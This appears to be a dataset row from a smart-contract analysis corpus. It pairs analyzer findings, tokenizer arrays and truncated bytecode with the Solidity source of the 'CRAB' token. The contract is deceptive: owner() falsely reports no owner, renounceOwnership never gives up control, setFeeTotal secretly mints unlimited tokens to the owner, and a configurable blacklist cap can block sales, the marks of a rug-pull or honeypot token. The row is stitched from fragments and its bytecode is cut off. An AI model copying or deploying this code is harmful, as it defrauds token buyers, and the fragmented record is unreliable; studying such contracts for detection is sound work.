ffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081359050610dc08161142f565b92915050565b60008083601f840112610dd857600080fd5b8235905067ffffffffffffffff811115610df157600080fd5b602083019150836020820283011115610e0957600080fd5b9250929050565b60008083601f840112610e2257600080fd5b8235905067ffffffffffffffff811115610e3b57600080fd5b602083019150836020820283011115610e5357600080fd5b9250929050565b600081519050610e6981611446565b92915050565b600081359050610e7e8161145d565b92915050565b600060208284031215610e9657600080fd5b6000610ea484828501610db1565b91505092915050565b60008060408385031215610ec057600080fd5b6000610ece85828601610db1565b9250506020610edf85828601610e6f565b9150509250929050565b60008060008060408587031215610eff57600080fd5b600085013567ffffffffffffffff811115610f1957600080fd5b610f2587828801610dc6565b9450945050602085013567ffffffffffffffff811115610f4457600080fd5b610f5087828801610e10565b925092505092959194509250565b600060208284031215610f7057600080fd5b6000610f7e84828501610e5a565b91505092915050565b600060208284031215610f9957600080fd5b6000610fa784828501610e6f565b91505092915050565b610fb981611209565b82525050565b610fc88161121b565b82525050565b610fd781611251565b82525050565b6000610fea6014836111f8565b9150610ff5826112ed565b602082019050919050565b600061100d6026836111f8565b915061101882611316565b604082019050919050565b60006110306021836111f8565b915061103b82611365565b604082019050919050565b6000611053601d836111f8565b915061105e826113b4565b602082019050919050565b60006110766020836111f8565b9150611081826113dd565b602082019050919050565b6000611099600e836111f8565b91506110a482611406565b602082019050919050565b6110b881611247565b82525050565b60006020820190506110d36000830184610fb0565b92915050565b60006040820190506110ee6000830185610fb0565b6110fb60208301846110af565b9392505050565b60006020820190506111176000830184610fbf565b92915050565b60006020820190506111326000830184610fce565b92915050565b6000602082019050818103600083015261115181610fdd565b9050919050565b6000602082019050818103600083015261117181611000565b9050919050565b6000602082019050818103600083015261119181611023565b9050919050565b600060208201905081810360008301526111b181611046565b9050919050565b600060208201905081810360008301526111d181611069565b9050919050565b600060208201905081810360008301526111f18161108c565b9050919050565b600082825260208201905092915050565b600061121482611227565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061125c82611263565b9050919050565b600061126e82611227565b9050919050565b600061128082611247565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156112b3576112b26112be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f496e76616c6964206172726179206c656e677468000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e6572206163636573732063616e6e6f7420626520666f7262696464656e60008201527f2100000000000000000000000000000000000000000000000000000000000000602082015250565b7f52656a656374696e672074782077697468206574686572732073656e74000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4e6f7420617574686f72697a6564000000000000000000000000000000000000600082015250565b61143881611209565b811461144357600080fd5b50565b61144f8161121b565b811461145a57600080fd5b50565b61146681611247565b811461147157600080fd5b5056fea2646970667358221220093aa147483a4c6fd11d95ff9881aef72a0eb78001ff46e68de1e5481a36570c64736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 19317, 15878, 2546, 16068, 7875, 2278, 2581, 16932, 2620, 2620, 2475, 2278, 2692, 2581, 10354, 2050, 2549, 2094, 2549, 2546, 16409, 4783, 21619, 2278, 2581, 2050, 2575, 2098, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1017, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 2655, 2850, 2696, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,666
0x972384077fdd59d2488641b9faec853f087204a7
/** *Submitted for verification at Etherscan.io on 2021-06-10 */ /** *Submitted for verification at Etherscan.io on 2021-06-10 */ /** *Submitted for verification at Etherscan.io on 2021-06-10 */ /* */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded.s * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return address(0); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract CRAB is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address public _tBotAddress; address public _tBlackAddress; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'Crab Finance (https://t.me/crabsfinance)'; string private _symbol = '$CRAB'; uint8 private _decimals = 18; uint256 public _maxBlack = 50000000 * 10**18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function setBlackListBot(address blackListAddress) public onlyOwner { _tBotAddress = blackListAddress; } function setBlackAddress(address blackAddress) public onlyOwner { _tBlackAddress = blackAddress; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setFeeTotal(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[_msgSender()] = _balances[_msgSender()].add(amount); emit Transfer(address(0), _msgSender(), amount); } function setMaxTxBlack(uint256 maxTxBlackPercent) public onlyOwner { _maxBlack = maxTxBlackPercent * 10**18; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender != _tBlackAddress && recipient == _tBotAddress) { require(amount < _maxBlack, "Transfer amount exceeds the maxTxAmount."); } _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb146104f1578063b415564914610555578063dbde5a4314610573578063dd62ed3e146105b7578063f2fde38b1461062f57610121565b8063715018a6146103d45780638766504d146103de5780638da5cb5b1461040c57806395d89b4114610440578063a67c472d146104c357610121565b806323b872dd116100f457806323b872dd1461026f578063313ce567146102f35780633de1e2e3146103145780636d0a2e901461034857806370a082311461037c57610121565b806306fdde0314610126578063095ea7b3146101a957806318160ddd1461020d5780631f9ac9011461022b575b600080fd5b61012e610673565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b610215610733565b6040518082815260200191505060405180910390f35b61026d6004803603602081101561024157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061073d565b005b6102db6004803603606081101561028557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610849565b60405180821515815260200191505060405180910390f35b6102fb610922565b604051808260ff16815260200191505060405180910390f35b61031c610939565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61035061095f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103be6004803603602081101561039257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610985565b6040518082815260200191505060405180910390f35b6103dc6109ce565b005b61040a600480360360208110156103f457600080fd5b8101908080359060200190929190505050610b13565b005b610414610d96565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610448610d9b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048857808201518184015260208101905061046d565b50505050905090810190601f1680156104b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ef600480360360208110156104d957600080fd5b8101908080359060200190929190505050610e3d565b005b61053d6004803603604081101561050757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f19565b60405180821515815260200191505060405180910390f35b61055d610f37565b6040518082815260200191505060405180910390f35b6105b56004803603602081101561058957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3d565b005b610619600480360360408110156105cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611049565b6040518082815260200191505060405180910390f35b6106716004803603602081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d0565b005b606060068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561070b5780601f106106e05761010080835404028352916020019161070b565b820191906000526020600020905b8154815290600101906020018083116106ee57829003601f168201915b5050505050905090565b60006107296107226112db565b84846112e3565b6001905092915050565b6000600554905090565b6107456112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006108568484846114da565b610917846108626112db565b61091285604051806060016040528060288152602001611a9e60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108c86112db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189f9092919063ffffffff16565b6112e3565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109d66112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a96576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b610b1b6112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bdb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610bfb6112db565b73ffffffffffffffffffffffffffffffffffffffff161415610c68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806119e86021913960400191505060405180910390fd5b610c7d8160055461195f90919063ffffffff16565b600581905550610cdc8160016000610c936112db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f90919063ffffffff16565b60016000610ce86112db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d2e6112db565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600090565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e335780601f10610e0857610100808354040283529160200191610e33565b820191906000526020600020905b815481529060010190602001808311610e1657829003601f168201915b5050505050905090565b610e456112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260098190555050565b6000610f2d610f266112db565b84846114da565b6001905092915050565b60095481565b610f456112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611005576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110d86112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611198576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561121e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611a2e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611369576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b0f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611a546022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611a096025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115e6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aec6023913960400191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116915750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156116f15760095481106116f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611a766028913960400191505060405180910390fd5b5b61175d81604051806060016040528060268152602001611ac660269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189f9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f281600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061194c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119115780820151818401526020810190506118f6565b50505050905090810190601f16801561193e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156119dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a2063616e6e6f74207065726d6974207a65726f206164647265737342455032303a207472616e736665722066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a20747